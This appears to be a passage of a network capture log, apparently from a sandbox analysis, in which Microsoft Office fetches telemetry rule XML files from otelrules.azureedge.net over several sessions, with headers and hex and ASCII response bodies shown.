encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092411Z-15b8b599d88wk8w4hC1TEB14b8000000046000000000dv9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:11 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092411Z-174c587ffdfks6tlhC1TEBeza400000004bg0000000050rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092413Z-178bfbc474bbbqrhhC1NYCvw7400000005tg00000000dzpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:13 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: a0a34a76-601e-0050-3b16-3d2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092413Z-178bfbc474bbbqrhhC1NYCvw7400000005y00000000047nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:13 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092413Z-178bfbc474bxkclvhC1NYC69g400000005s0000000003a37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:13 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:13 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092413Z-178bfbc474bq2pr7hC1NYCkfgg00000005x0000000005t0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:13 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:13 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: f42da3ef-f01e-003c-5731-3e8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092414Z-15b8b599d88s6mj9hC1TEBur3000000003zg00000000d0zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:14 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3385e8da-101e-00a2-400c-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092415Z-178bfbc474bh5zbqhC1NYCkdug00000005sg0000000029c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:15 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092415Z-174c587ffdfn4nhwhC1TEB2nbc000000048000000000ehye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:15 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092415Z-178bfbc474bwlrhlhC1NYCy3kg00000005q000000000bnv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:15 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:15 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092415Z-174c587ffdfp4vpjhC1TEBybqw000000044000000000kat7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092416Z-178bfbc474bvjk8shC1NYC83ns00000005fg00000000e312 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
